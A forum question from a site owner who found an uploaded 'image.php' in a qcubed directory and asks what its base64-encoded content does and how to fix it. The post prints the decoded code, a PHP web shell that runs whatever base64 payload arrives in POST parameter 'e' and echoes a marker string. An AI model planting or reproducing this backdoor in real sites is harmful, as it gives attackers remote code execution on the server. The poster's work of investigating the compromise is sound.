title: What does eval on base64 encoded $_POST['e'] variable actually do?
body: <p>Ok so here's what I've googled:</p>
  
  <p>It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory.</p>
  
  <p>That image.php file contains the following base64 code:</p>
  
  <pre><code>aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
  </code></pre>
  
  <p>decoded it adds to this:</p>
  
  <pre><code>if(isset($_POST['e']))
  
  eval(base64_decode($_POST['e']));
  
  echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
  </code></pre>
  
  <p>Searching for the outputed string I found simillar qcubed vulnerabilities on other sites.</p>
  
  <p>Decoding the last echoed string I got:</p>
  
  <pre><code>196.231-172.28:ifacermpubmice:afac42eri02
  </code></pre>
  
  <p>Which I really don`t understand what it does (using:<a href="http://ostermiller.org/calc/encode.html" rel="nofollow">http://ostermiller.org/calc/encode.html</a>).</p>
  
  <p>Can you please explain me what in particular I`m facing here? 
  What security vulnerability I should adress in order to fix this?</p>